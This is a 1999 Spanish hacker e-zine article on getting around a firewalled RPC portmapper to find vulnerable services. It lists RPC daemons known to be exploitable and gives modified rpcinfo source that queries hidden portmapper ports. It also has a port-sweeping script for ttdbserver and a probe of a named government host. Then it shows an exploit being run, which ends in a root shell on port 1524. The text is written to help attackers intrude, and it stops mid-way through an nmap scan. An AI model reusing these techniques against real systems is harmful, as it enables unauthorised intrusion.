Copy Link
Add to Bookmark
Report
SET 023 0x08
-[ 0x08 ]--------------------------------------------------------------------
-[ Evasion RPC ]-------------------------------------------------------------
-[ by Dark Raver ]----------------------------------------------------SET-23-
Como Evitar Un Portmap Firewalleado [version re-ampliada]
===========================================================
The Dark Raver (23/12/99)
** NOTA ** Despues de varias revisiones, debido al rapido avance de las
herramientas que ayudan al estudio de los servicios RPC (especialmente al
nmap) creo que por fin el texto esta actualizado y puede ser publicado.
Escenario
~~~~~~~~~
Con el aumento del numero de hacker-kiddies (ni~os hacker) y el crecimiento
del gasto en seguridad por parte de las organizaciones que se deciden a poner
sus maquinas en internet, las anta~o miticas firewall (paredes de fuego! wow!)
se han convertido en algo habitual.
Ahora muchos administradores ya ni se molestan en parchear los agujeros de
seguridad de sus maquinas, simplemente ponen un firewall lo mas tocho posible
delante de sus ordenadores, y se dedican a tradear warez...
Esto por una parte hace mas dificil la labor de los hackers, pero si por
alguna razon un hacker consigue sobrepasar los controles del firewall, una
vez dentro le sera relativamente facil conseguir control sobre la maquina.
Este articulo se centra en unas peque~as y sencillas tecnicas para evitar el
filtro que algunos administradores realizan sobre su puerto 111, es decir
el puerto de portamp, el demonio que se encarga de informarnos sobre que
servicios RPC tiene activos la maquina.
Vulnerabilidades de servicios RPC
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Tradicionalmente los servicios RPC han sido residencia de numerosos bugs y
problemas de seguridad. Incluso en sistemas como linux, donde el codigo fuente
es publico, hasta hace poco tiempo no se ha conseguido limpiar de bugs estos
servicios.
Por eso averiguar que servicios RPC tiene activos una maquina y en que puertos
se encuentran, es muy importante, a pesar de que un firewall nos impida
verlos.
Tendremos que que actuar a ciegas, tanteando el terreno hasta encontrar lo que
buscabamos, pero una vez que lo encontremos el trabajo sera igual de facil que
siempre.
La efectividad de esta tecnica se basa en que normalmente los firewalls
no filtran todos los puertos o todos los protocolos de la maquina:
- Algunos firewalls por defecto se limitan a evitar el acceso a los puertos
privilegiados (Aquellos por debajo del 1024)
- Tambien es normal encontrar firewalls que solo filtran paquetes de algun
tipo en concreto, por ejemplo filtrar tcp dejando pasar el resto: udp, icmp,
igmp, etc...
- Muchos administradores configuran sus firewalls para cubrir los puertos de
servicios que tradicionalmente han sido vulnerables, como los puertos 21,
110, 23, 143 y por supuesto el 111, pero no se les ocurre tapar un puerto
como el 32771 (Que webos puede ser vulnerable en ese puerto?! ;)
- Los servicios RPC distribuyen mas o menos arbitrariamente los puertos
en los que se situa cada servicio. Una administrador puede cubrir con un
firewall todos sus puertos activos, pero luego, una peque~a modificacion de
la configuracion puede alterar la distribucion de puertos sin que el
administrador se entere y reconfigure el firewall al efecto.
Todas estas razones hacen muy utiles estas tecnicas, aunque no garantizan su
efectividad en todos los casos.
Aqui teneis una peque~a lista, no demasiado exhaustiva, de los servicios RPC
vulnerables en distintos sistemas operativos:
Linux:
-mountd
-nfs
-status
-amd
-autofsd
Sun/Solaris: => Sin duda los RPC son el punto vulnerable de los sun
-mountd
-nfs
-status/statd
-ttdbserver
-cmsd
-nisd
-nlockmgr
-sadmind
Irix:
-ttdbserver
-autofsd
Hp/ux:
-ttdbserver
Sco/Unixware:
-ttdbserver
-mount
BSD: (FreeBSD, OpenBSD, etc...)
-amd
-autofsd
Sin olvidarnos de los servicios RPC vulnerables por si mismos:
-rexd
-pcnfsd
-ypserv => yellow pages
-mountd exportando a todo el mundo
-etc...
Estos son todos los que recuerdo asi de primeras, pero seguramente haya
algunos mas. Es cuestion de investigar un poco.
Aumentando nuestra informacion
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Antes de empezar a trabajar con un portmap firewalleado, vamos a ver unos
cuantos trucos para obtener mas informacion de los servicios RPC tanto cuando
se encuentrer tras un firewall o no.
La herramienta basica sera la orden rpcinfo (/usr/sbin/rpcinfo en linux)
-------------------------------------------------
$ rpcinfo
Usage: rpcinfo [ -n portnum ] -u host prognum [ versnum ]
rpcinfo [ -n portnum ] -t host prognum [ versnum ]
rpcinfo -p [ host ]
rpcinfo -b prognum versnum
rpcinfo -d prognum versnum
-------------------------------------------------
Es una herramienta simple, pero muy potente. Echarle un vistazo al manual de
este comando antes de empezar a jugar con el.
-------------------------------------------------
$ rpcinfo -p 1.1.1.1
program vers proto port
100000 2 tcp 111 rpcbind
100000 2 udp 111 rpcbind
100024 1 udp 846 status
100024 1 tcp 848 status
100011 1 udp 868 rquotad
100011 2 udp 868 rquotad
100005 1 udp 879 mountd
100005 1 tcp 881 mountd
100005 2 udp 884 mountd
100005 2 tcp 886 mountd
100005 3 udp 889 mountd
100005 3 tcp 891 mountd
100003 2 udp 2049 nfs
100021 1 udp 1024 nlockmgr
100021 3 udp 1024 nlockmgr
100021 1 tcp 1024 nlockmgr
100021 3 tcp 1024 nlockmgr
1092830567 2 udp 3049 cfs
-------------------------------------------------
Espero que como buenos unixeros/linuxeros sepais interpretar esta informacion,
si no os queda mucho por aprender.
Hay 2 puntos muy importantes:
El program/prognum -> Es lo que aparece a la derecha. Es una cifra que
identifica el tipo de servicio. Esta cifra es fija y constante para todos
los sistemas operativos.
La tabla de equivalencias la tendreis normalmente en un archivo similar al
/etc/services, pero destinado solo a los rpc => /etc/rpc
<++> rpc/rpc.services
#ident "@(#)rpc 1.11 95/07/14 SMI" /* SVr4.0 1.2 */
#
# rpc
#
rpcbind 100000 portmap sunrpc rpcbind
rstatd 100001 rstat rup perfmeter
rusersd 100002 rusers
nfs 100003 nfsprog
ypserv 100004 ypprog
mountd 100005 mount showmount
ypbind 100007
walld 100008 rwall shutdown
yppasswdd 100009 yppasswd
etherstatd 100010 etherstat
rquotad 100011 rquotaprog quota rquota
sprayd 100012 spray
3270_mapper 100013
rje_mapper 100014
selection_svc 100015 selnsvc
database_svc 100016
rexd 100017 rex
alis 100018
sched 100019
llockmgr 100020
nlockmgr 100021
x25.inr 100022
statmon 100023
status 100024
ypupdated 100028 ypupdate
keyserv 100029 keyserver
bootparam 100026
sunlink_mapper 100033
tfsd 100037
nsed 100038
nsemntd 100039
showfhd 100043 showfh
ioadmd 100055 rpc.ioadmd
NETlicense 100062
sunisamd 100065
debug_svc 100066 dbsrv
cmsd 100068
ypxfrd 100069 rpc.ypxfrd
bugtraqd 100071
kerbd 100078
ttdbserver 100083 tooltalk // rpc.ttdbserver
autofs 100099
event 100101 na.event # SunNet Manager
logger 100102 na.logger # SunNet Manager
sync 100104 na.sync
hostperf 100107 na.hostperf
activity 100109 na.activity # SunNet Manager
hostmem 100112 na.hostmem
sample 100113 na.sample
x25 100114 na.x25
ping 100115 na.ping
rpcnfs 100116 na.rpcnfs
hostif 100117 na.hostif
etherif 100118 na.etherif
iproutes 100120 na.iproutes
layers 100121 na.layers
snmp 100122 na.snmp snmp-cmc snmp-synoptics snmp-unisys snmp-utk
traffic 100123 na.traffic
nfs_acl 100227
sadmind 100232
nisd 100300 rpc.nisd
nispasswd 100303 rpc.nispasswdd
ufsd 100233 ufsd
pcnfsd 150001
amd 300019 amq
cfs 1092830567
bwnfsd 545580417
fypxfrd 600100069 freebsd-ypxfrd
<-->
Este es el /etc/rpc estandar obtenido de un linux (redhat) ligeramente
modificado.
He a~adido las siguientes lineas que no aparecian:
100083 -> tooltalk // ttdbserver
1092830567 -> cfs
100099 -> autofs
100300 -> nisd
100068 -> cmsd
Esto es muy importante, ya que si estas lineas no estuviesen el resultado
obtenido al hacer un rpcinfo -p 1.1.1.1 seria:
-------------------------------------------------
[...]
100021 1 tcp 1024 nlockmgr
100021 3 tcp 1024 nlockmgr
1092830567 2 udp 3049
-------------------------------------------------
Como veis, ahora no vemos el nombre del RPC. Y si no supiesemos que 1092830567
corresponde al servicio cfs, pasariamos por alto esta informacion.
El segundo punto importante es el puerto/port -> Nos indica el puerto en el
que se encuentra cada servicio (tcp o udp)
Ya he dicho antes que la distribucion de los puertos no es fija, siendo
relativamente aleatoria, sin embargo siempre hay una tendencia para cada
sistema operativo, y ante configuraciones similares la distribucion es la
misma.
Por ejemplo, despues de realizar rpcinfo -p contra varios solaris el resultado
es el siguiente, si el servicio que buscamos es el ttdbserver:
-------------------------------------------------
100083 1 tcp 32775 ttdbserver
100083 1 tcp 32774 ttdbserver
100083 1 tcp 32775 ttdbserver
100083 1 tcp 32775 ttdbserver
100083 1 tcp 32775 ttdbserver
100083 1 tcp 32787 ttdbserver
100083 1 tcp 32773 ttdbserver
100083 1 tcp 32775 ttdbserver
-------------------------------------------------
Como veis la tendencia es bastante clara, el puerto siempre esta en el rango
327xx, siendo 32775 el valor mas habitual. A la hora de buscar este servicio
en una maquina sun ya sabemos por donde empezar.
Esto nos servira luego de guia a la hora de intentar adivinar el puerto donde
reside un determinado servicio. Por supuesto la experiencia jugara mucho a
nuestro favor a la hora de atinar en nuestras predicciones.
Otro truco bastante util a la hora de tratar con maquinas sun, (Sobre todo
solaris 2.5, 2.5.1 y 2.6) es que normalmente tienen el portmapper activo en
un puerto alto. (ademas del 111) Este puerto normalmente es el 32770 o el
32771 y en la mayoria de los casos se encuentra sin firewallear.
Solo necesitamos una version de rpcinfo que nos permita consultar otros
puertos ademas del 111. Por suerte jwa se encargo de hacerlo hace un par de
a~os, asi que no tendremos que molestarnos en aprender a programar ;)
<++> rpc/h_rpcinfo.c
/*
* Copyright (C) 1986, Sun Microsystems, Inc.
*/
/*
* rpcinfo: ping a particular rpc program
* or dump the portmapper
*/
/*
* 15 Jul 1997 jwa@jammed.com
* hacked to support the global use of the -n flag (set dst port)
* and to perform PMAPDUMPs over UDP
*
* usage: ./h_rpcinfo -n 32771 -p hostname
*
* Tested under Linux 2.0/gcc. YMMV.
*/
/*
* Sun RPC is a product of Sun Microsystems, Inc. and is provided for
* unrestricted use provided that this legend is included on all tape
* media and as a part of the software program in whole or part. Users
* may copy or modify Sun RPC without charge, but are not authorized
* to license or distribute it to anyone else except as part of a product or
* program developed by the user.
*
* SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
* WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
* PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
*
* Sun RPC is provided with no support and without any obligation on the
* part of Sun Microsystems, Inc. to assist in its use, correction,
* modification or enhancement.
*
* SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
* INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
* OR ANY PART THEREOF.
*
* In no event will Sun Microsystems, Inc. be liable for any lost revenue
* or profits or other special, indirect and consequential damages, even if
* Sun has been advised of the possibility of such damages.
*
* Sun Microsystems, Inc.
* 2550 Garcia Avenue
* Mountain View, California 94043
*/
/*
* From: @(#)rpcinfo.c 1.22 87/08/12 SMI
* From: @(#)rpcinfo.c 2.2 88/08/11 4.0 RPCSRC
*/
char rcsid[] =
"$Id: rpcinfo.c,v 1.4 1996/08/15 03:04:48 dholland Exp $";
#include <stdio.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <rpc/rpc.h>
#include <rpc/pmap_prot.h>
#include <rpc/pmap_clnt.h>
#include <signal.h>
#include <ctype.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#define MAXHOSTLEN 256
#define MIN_VERS ((u_long) 0)
#define MAX_VERS ((u_long) 4294967295UL)
u_short g_portnum;
static void udpping(u_short portflag, int argc, char **argv);
static void tcpping(u_short portflag, int argc, char **argv);
static int pstatus(CLIENT *client, u_long prognum, u_long vers);
static void pmapdump(int argc, char **argv);
static bool_t reply_proc(void *res, struct sockaddr_in *who);
static void brdcst(int argc, char **argv);
static void deletereg(int argc, char **argv);
static void usage(void);
static u_long getprognum(char *arg);
static u_long getvers(char *arg);
static void get_inet_address(struct sockaddr_in *addr, char *host);
/*
* Functions to be performed.
*/
#define NONE 0 /* no function */
#define PMAPDUMP 1 /* dump portmapper registrations */
#define TCPPING 2 /* ping TCP service */
#define UDPPING 3 /* ping UDP service */
#define BRDCST 4 /* ping broadcast UDP service */
#define DELETES 5 /* delete registration for the service */
int
main(int argc, char **argv)
{
register int c;
int errflg;
int function;
u_short portnum;
function = NONE;
portnum = 0;
errflg = 0;
while ((c = getopt(argc, argv, "ptubdn:")) != EOF) {
switch (c) {
case 'p': /* force it */
/* if (function != NONE)
errflg = 1;
else */ errflg = 0;
function = PMAPDUMP;
break;
case 't':
if (function != NONE)
errflg = 1;
else
function = TCPPING;
break;
case 'u':
if (function != NONE)
errflg = 1;
else
function = UDPPING;
break;
case 'b':
if (function != NONE)
errflg = 1;
else
function = BRDCST;
break;
case 'n':
/* hope we don't get bogus # */
portnum = (u_short) atoi(optarg);
g_portnum = (u_short) atoi(optarg);
break;
case 'd':
if (function != NONE)
errflg = 1;
else
function = DELETES;
break;
case '?':
errflg = 1;
}
}
if ((errflg || function == NONE) && (g_portnum == 0)) {
usage();
return (1);
}
switch (function) {
case PMAPDUMP:
/* avoid silly portchecking stuff */
/* if (portnum != 0) {
usage();
return (1);
} */
pmapdump(argc - optind, argv + optind);
break;
case UDPPING:
udpping(portnum, argc - optind, argv + optind);
break;
case TCPPING:
tcpping(portnum, argc - optind, argv + optind);
break;
case BRDCST:
if (portnum != 0) {
usage();
return (1);
}
brdcst(argc - optind, argv + optind);
break;
case DELETES:
deletereg(argc - optind, argv + optind);
break;
}
return (0);
}
static void
udpping(u_short portnum, int argc, char **argv)
{
struct timeval to;
struct sockaddr_in addr;
enum clnt_stat rpc_stat;
CLIENT *client;
u_long prognum, vers, minvers, maxvers;
int sock = RPC_ANYSOCK;
struct rpc_err rpcerr;
int failure;
if (argc < 2 || argc > 3) {
usage();
exit(1);
}
prognum = getprognum(argv[1]);
get_inet_address(&addr, argv[0]);
/* Open the socket here so it will survive calls to clnt_destroy */
sock = socket( AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (sock < 0) {
perror("rpcinfo: socket");
exit(1);
}
failure = 0;
if (argc == 2) {
printf("trying version %d\n", vers);
/*
* A call to version 0 should fail with a program/version
* mismatch, and give us the range of versions supported.
*/
addr.sin_port = htons(portnum);
to.tv_sec = 5;
to.tv_usec = 0;
if ((client = clntudp_create(&addr, prognum, (u_long)0,
to, &sock)) == NULL) {
clnt_pcreateerror("rpcinfo");
printf("program %lu is not available\n",
prognum);
exit(1);
}
to.tv_sec = 10;
to.tv_usec = 0;
rpc_stat = clnt_call(client, NULLPROC,
(xdrproc_t) xdr_void, NULL,
(xdrproc_t) xdr_void, NULL, to);
if (rpc_stat == RPC_PROGVERSMISMATCH) {
clnt_geterr(client, &rpcerr);
minvers = rpcerr.re_vers.low;
maxvers = rpcerr.re_vers.high;
} else if (rpc_stat == RPC_SUCCESS) {
/*
* Oh dear, it DOES support version 0.
* Let's try version MAX_VERS.
*/
addr.sin_port = htons(portnum);
to.tv_sec = 5;
to.tv_usec = 0;
if ((client = clntudp_create(&addr, prognum, MAX_VERS,
to, &sock)) == NULL) {
clnt_pcreateerror("rpcinfo");
printf("program %lu version %lu is not available\n",
prognum, MAX_VERS);
exit(1);
}
to.tv_sec = 10;
to.tv_usec = 0;
rpc_stat = clnt_call(client, NULLPROC,
(xdrproc_t) xdr_void, NULL,
(xdrproc_t) xdr_void, NULL, to);
if (rpc_stat == RPC_PROGVERSMISMATCH) {
clnt_geterr(client, &rpcerr);
minvers = rpcerr.re_vers.low;
maxvers = rpcerr.re_vers.high;
} else if (rpc_stat == RPC_SUCCESS) {
/*
* It also supports version MAX_VERS.
* Looks like we have a wise guy.
* OK, we give them information on all
* 4 billion versions they support...
*/
minvers = 0;
maxvers = MAX_VERS;
} else {
(void) pstatus(client, prognum, MAX_VERS);
exit(1);
}
} else {
(void) pstatus(client, prognum, (u_long)0);
exit(1);
}
clnt_destroy(client);
for (vers = minvers; vers <= maxvers; vers++) {
addr.sin_port = htons(portnum);
to.tv_sec = 5;
to.tv_usec = 0;
if ((client = clntudp_create(&addr, prognum, vers,
to, &sock)) == NULL) {
clnt_pcreateerror("rpcinfo");
printf("program %lu version %lu is not available\n",
prognum, vers);
exit(1);
}
to.tv_sec = 10;
to.tv_usec = 0;
rpc_stat = clnt_call(client, NULLPROC,
(xdrproc_t) xdr_void, NULL,
(xdrproc_t) xdr_void, NULL, to);
if (pstatus(client, prognum, vers) < 0)
failure = 1;
clnt_destroy(client);
}
}
else {
vers = getvers(argv[2]);
addr.sin_port = htons(portnum);
to.tv_sec = 5;
to.tv_usec = 0;
if ((client = clntudp_create(&addr, prognum, vers,
to, &sock)) == NULL) {
clnt_pcreateerror("rpcinfo");
printf("program %lu version %lu is not available\n",
prognum, vers);
exit(1);
}
to.tv_sec = 10;
to.tv_usec = 0;
rpc_stat = clnt_call(client, 0,
(xdrproc_t) xdr_void, NULL,
(xdrproc_t) xdr_void, NULL, to);
if (pstatus(client, prognum, vers) < 0)
failure = 1;
}
(void) close(sock); /* Close it up again */
if (failure)
exit(1);
}
static void
tcpping(u_short portnum, int argc, char **argv)
{
struct timeval to;
struct sockaddr_in addr;
enum clnt_stat rpc_stat;
CLIENT *client;
u_long prognum, vers, minvers, maxvers;
int sock = RPC_ANYSOCK;
struct rpc_err rpcerr;
int failure;
if (argc < 2 || argc > 3) {
usage();
exit(1);
}
prognum = getprognum(argv[1]);
get_inet_address(&addr, argv[0]);
failure = 0;
if (argc == 2) {
/*
* A call to version 0 should fail with a program/version
* mismatch, and give us the range of versions supported.
*/
addr.sin_port = htons(portnum);
if ((client = clnttcp_create(&addr, prognum, MIN_VERS,
&sock, 0, 0)) == NULL) {
clnt_pcreateerror("rpcinfo");
printf("program %lu is not available\n",
prognum);
exit(1);
}
to.tv_sec = 10;
to.tv_usec = 0;
rpc_stat = clnt_call(client, NULLPROC,
(xdrproc_t) xdr_void, NULL,
(xdrproc_t) xdr_void, NULL, to);
if (rpc_stat == RPC_PROGVERSMISMATCH) {
clnt_geterr(client, &rpcerr);
minvers = rpcerr.re_vers.low;
maxvers = rpcerr.re_vers.high;
} else if (rpc_stat == RPC_SUCCESS) {
/*
* Oh dear, it DOES support version 0.
* Let's try version MAX_VERS.
*/
addr.sin_port = htons(portnum);
if ((client = clnttcp_create(&addr, prognum, MAX_VERS,
&sock, 0, 0)) == NULL) {
clnt_pcreateerror("rpcinfo");
printf("program %lu version %lu is not available\n",
prognum, MAX_VERS);
exit(1);
}
to.tv_sec = 10;
to.tv_usec = 0;
rpc_stat = clnt_call(client, NULLPROC,
(xdrproc_t) xdr_void, NULL,
(xdrproc_t) xdr_void, NULL, to);
if (rpc_stat == RPC_PROGVERSMISMATCH) {
clnt_geterr(client, &rpcerr);
minvers = rpcerr.re_vers.low;
maxvers = rpcerr.re_vers.high;
} else if (rpc_stat == RPC_SUCCESS) {
/*
* It also supports version MAX_VERS.
* Looks like we have a wise guy.
* OK, we give them information on all
* 4 billion versions they support...
*/
minvers = 0;
maxvers = MAX_VERS;
} else {
(void) pstatus(client, prognum, MAX_VERS);
exit(1);
}
} else {
(void) pstatus(client, prognum, MIN_VERS);
exit(1);
}
clnt_destroy(client);
(void) close(sock);
sock = RPC_ANYSOCK; /* Re-initialize it for later */
for (vers = minvers; vers <= maxvers; vers++) {
addr.sin_port = htons(portnum);
if ((client = clnttcp_create(&addr, prognum, vers,
&sock, 0, 0)) == NULL) {
clnt_pcreateerror("rpcinfo");
printf("program %lu version %lu is not available\n",
prognum, vers);
exit(1);
}
to.tv_usec = 0;
to.tv_sec = 10;
rpc_stat = clnt_call(client, 0,
(xdrproc_t) xdr_void, NULL,
(xdrproc_t) xdr_void, NULL, to);
if (pstatus(client, prognum, vers) < 0)
failure = 1;
clnt_destroy(client);
(void) close(sock);
sock = RPC_ANYSOCK;
}
}
else {
vers = getvers(argv[2]);
addr.sin_port = htons(portnum);
if ((client = clnttcp_create(&addr, prognum, vers, &sock,
0, 0)) == NULL) {
clnt_pcreateerror("rpcinfo");
printf("program %lu version %lu is not available\n",
prognum, vers);
exit(1);
}
to.tv_usec = 0;
to.tv_sec = 10;
rpc_stat = clnt_call(client, 0,
(xdrproc_t) xdr_void, NULL,
(xdrproc_t) xdr_void, NULL, to);
if (pstatus(client, prognum, vers) < 0)
failure = 1;
}
if (failure)
exit(1);
}
/*
* This routine should take a pointer to an "rpc_err" structure, rather than
* a pointer to a CLIENT structure, but "clnt_perror" takes a pointer to
* a CLIENT structure rather than a pointer to an "rpc_err" structure.
* As such, we have to keep the CLIENT structure around in order to print
* a good error message.
*/
static int
pstatus(CLIENT *client, u_long prognum, u_long vers)
{
struct rpc_err rpcerr;
clnt_geterr(client, &rpcerr);
if (rpcerr.re_status != RPC_SUCCESS) {
clnt_perror(client, "rpcinfo");
printf("program %lu version %lu is not available\n",
prognum, vers);
return (-1);
} else {
printf("program %lu version %lu ready and waiting\n",
prognum, vers);
return (0);
}
}
static void
pmapdump(int argc, char **argv)
{
struct sockaddr_in server_addr;
struct pmaplist *head = NULL;
int sockett = RPC_ANYSOCK;
struct timeval minutetimeout;
register CLIENT *client;
struct rpcent *rpc;
struct timeval to;
if (argc > 1) {
usage();
exit(1);
}
if (argc == 1)
get_inet_address(&server_addr, argv[0]);
else {
bzero((char *)&server_addr, sizeof server_addr);
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
}
minutetimeout.tv_sec = 60;
minutetimeout.tv_usec = 0;
/* we provide it with a port number */
/* server_addr.sin_port = htons(PMAPPORT);*/
if (!g_portnum) {
server_addr.sin_port = htons(PMAPPORT);
} else {
printf("Using special port %d\n", g_portnum);
server_addr.sin_port = htons(g_portnum);
}
/* don't use TCP; 32771 is only listening on UDP */
/* if ((client = clnttcp_create(&server_addr, PMAPPROG,
PMAPVERS, &sockett, 50, 500)) == NULL) */
to.tv_sec = 5;
to.tv_usec = 0;
/* version 2 portmapper */
if ((client = clntudp_create(&server_addr, PMAPPROG,
(u_long)2, to, &sockett)) == NULL)
{
clnt_pcreateerror("rpcinfo: can't contact portmapper");
exit(1);
}
if (clnt_call(client, PMAPPROC_DUMP,
(xdrproc_t) xdr_void, NULL,
(xdrproc_t) xdr_pmaplist,
&head, minutetimeout) != RPC_SUCCESS)
{
fprintf(stderr, "rpcinfo: can't contact portmapper: ");
clnt_perror(client, "rpcinfo");
exit(1);
}
if (head == NULL) {
printf("No remote programs registered.\n");
} else {
printf(" program vers proto port\n");
for (; head != NULL; head = head->pml_next) {
printf("%10ld%5ld",
head->pml_map.pm_prog,
head->pml_map.pm_vers);
if (head->pml_map.pm_prot == IPPROTO_UDP)
printf("%6s", "udp");
else if (head->pml_map.pm_prot == IPPROTO_TCP)
printf("%6s", "tcp");
else
printf("%6ld", head->pml_map.pm_prot);
printf("%7ld", head->pml_map.pm_port);
rpc = getrpcbynumber(head->pml_map.pm_prog);
if (rpc)
printf(" %s\n", rpc->r_name);
else
printf("\n");
}
}
}
/*
* reply_proc collects replies from the broadcast.
* to get a unique list of responses the output of rpcinfo should
* be piped through sort(1) and then uniq(1).
*/
/* res: Nothing comes back */
/* who: Who sent us the reply */
static bool_t
reply_proc(void *res, struct sockaddr_in *who)
{
register struct hostent *hp;
(void)res;
hp = gethostbyaddr((char *) &who->sin_addr, sizeof(who->sin_addr),
AF_INET);
printf("%s %s\n", inet_ntoa(who->sin_addr),
(hp == NULL) ? "(unknown)" : hp->h_name);
return FALSE;
}
static void
brdcst(int argc, char **argv)
{
enum clnt_stat rpc_stat;
u_long prognum, vers;
if (argc != 2) {
usage();
exit(1);
}
prognum = getprognum(argv[0]);
vers = getvers(argv[1]);
rpc_stat = clnt_broadcast(prognum, vers, NULLPROC,
(xdrproc_t) xdr_void, NULL,
(xdrproc_t) xdr_void, NULL,
(resultproc_t) reply_proc);
if ((rpc_stat != RPC_SUCCESS) && (rpc_stat != RPC_TIMEDOUT)) {
fprintf(stderr, "rpcinfo: broadcast failed: %s\n",
clnt_sperrno(rpc_stat));
exit(1);
}
exit(0);
}
static void
deletereg(int argc, char **argv)
{
u_long prog_num, version_num;
if (argc != 2) {
usage() ;
exit(1) ;
}
if (getuid()) { /* This command allowed only to root */
fprintf(stderr, "Sorry. You are not root\n") ;
exit(1) ;
}
prog_num = getprognum(argv[0]);
version_num = getvers(argv[1]);
if ((pmap_unset(prog_num, version_num)) == 0) {
fprintf(stderr, "rpcinfo: Could not delete registration for prog %s version %s\n",
argv[0], argv[1]) ;
exit(1) ;
}
}
static void
usage(void)
{
fprintf(stderr, "Usage: rpcinfo [ -n portnum ] -u host prognum [ versnum ]\n");
fprintf(stderr, " rpcinfo [ -n portnum ] -t host prognum [ versnum ]\n");
fprintf(stderr, " rpcinfo -p [ host ]\n");
fprintf(stderr, " rpcinfo -b prognum versnum\n");
fprintf(stderr, " rpcinfo -d prognum versnum\n") ;
}
static u_long
getprognum(char *arg)
{
register struct rpcent *rpc;
register u_long prognum;
if (isalpha(*arg)) {
rpc = getrpcbyname(arg);
if (rpc == NULL) {
fprintf(stderr, "rpcinfo: %s is unknown service\n",
arg);
exit(1);
}
prognum = rpc->r_number;
} else {
prognum = (u_long) atoi(arg);
}
return (prognum);
}
static u_long
getvers(char *arg)
{
register u_long vers;
vers = (int) atoi(arg);
return (vers);
}
static void
get_inet_address(struct sockaddr_in *addr, char *host)
{
register struct hostent *hp;
bzero((char *)addr, sizeof *addr);
addr->sin_addr.s_addr = (u_long) inet_addr(host);
if (addr->sin_addr.s_addr == (unsigned long)-1 ||
addr->sin_addr.s_addr == 0)
{
if ((hp = gethostbyname(host)) == NULL) {
fprintf(stderr, "rpcinfo: %s is unknown host\n", host);
exit(1);
}
bcopy(hp->h_addr, (char *)&addr->sin_addr, hp->h_length);
}
addr->sin_family = AF_INET;
}
<-->
Debe compilar sin problemas en linux de la siguiente forma:
$ cc h_rpcinfo.c -o h_rpcinfo
Y la forma de usarlo:
$ h_rpcinfo -n 32771 -p hostname
Como sabemos que hay un firewall
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Bueno se~ores, somos hackers o no??? a estas alturas supongo que sabreis
reconocer cuando una maquina tiene un firewall delante o emplea algun tipo de
filtrado.
Cualquier hacker que se precie debe controlar este tipo de cosas, sino lo
llevais crudo.
En el caso de los RPC siempre cabe el clasico truco de hacer un telnet:
-------------------------------------------------
$ telnet 1.1.1.1 111
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
$ rpcinfo -p 1.1.1.1
=> No obtenemos respuesta
-------------------------------------------------
-------------------------------------------------
$ telnet 1.1.1.1 111
Trying 1.1.1.1...
=> No obtenemos respuesta
-------------------------------------------------
-------------------------------------------------
$ telnet 1.1.1.1 111
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
Connection closed by foreign host.
-------------------------------------------------
En cualquiera de los tres casos estamos ante algun tipo de filtrado que nos
impide acceder al puerto 111 libremente.
Y por supuesto como ultima opcion siempre tenemos el traceroute, que ademas
nos servira para saber que tipos de paquetes filtra.
Buscando servicios en concreto
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Bueno, una vez hemos asentado nuestos conocimientos sobre RPCs pasemos a la
accion.
Para ello creamos un script que se encargue de hacer un barrido de los
puertos no firewalleados, en busca de un servicio RPC en concreto que nos
pueda ser de utilidad. Como ejemplo un escaner del servicio ttdbserver:
<++> rpc/ttb.sh
#!/bin/sh
# Uso: ttb host port
L=$2
while [ $L -lt 100000 ]
do
echo $L
rpcinfo -n $L -t $1 100083
L=`expr $L + 1`
done
<-->
Veamos a este peque~o script en accion:
-------------------------------------------------
$ ttb 1.1.1.1 32770
32770
rpcinfo: RPC: Remote system error - Connection refused
program 100083 is not available
32771
rpcinfo: RPC: Timed out
program 100083 version 0 is not available
32772
program 100083 version 1 ready and waiting
32773
rpcinfo: RPC: Remote system error - Connection refused
program 100083 is not available
32774
rpcinfo: RPC: Remote system error - Connection refused
program 100083 is not available
32775
rpcinfo: RPC: Remote system error - Connection refused
program 100083 is not available
-------------------------------------------------
Justo ahi lo tenemos, en el puerto 32772.
-------------------------------------------------
$ rpcinfo -n 32772 -t dns1.nasa.gov 100083
program 100083 version 1 ready and waiting
-------------------------------------------------
Ahora solo queda usar nuestro exploit favorito contra ese puerto:
-------------------------------------------------
$ tt1
Usage: tt1 [-ku] [-p port] [-f outfile] host cmd
$ tt1 -k -p 32772 1.1.1.1 lalala
$ tt1 -p 32772 1.1.1.1
$ telnet 1.1.1.1 1524
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
#
-------------------------------------------------
En este caso nos encontramos ante un servicio que se encuentra en un puerto
tcp. En vez de usar nuestro script tambien podemos usar nuestro escaneador de
puertos favorito y una vez sepamos los puertos abiertos ir usando el comando
rpcinfo a mano.
Tambien podeis el programa rpcscan de halflife, que hace el mismo trabajo,
aunque de forma menos visual :).
Pero la mejor opcion es sin duda el nmap de Fyodor en sus ultimas versiones
publicadas. (Yo tengo instalada la 2.3BETA10)
-------------------------------------------------
$ nmap -V
nmap V. 2.3BETA10 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
-------------------------------------------------
Este programa ahora incluye una potente, rapida y finalmente depurada opcion
de escaneo de puertos en busca de servicios RPC. No solo es muy potente sino
que ademas nos dice que servicio esta activo en cada puerto sin necesidad
de recurrir al rpcinfo.
Su forma de uso es muy simple y debiais estar habituados al uso de este
escaneador de puertos. (el mejor!)
-------------------------------------------------
$ nmap -sT -sR 1.1.1.1
Starting nmap V. 2.3BETA10 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
Interesting ports on 1.1.1.1 (1.1.1.1):
Port State Protocol Service (RPC)
111 open tcp sunrpc (portmapper V2)
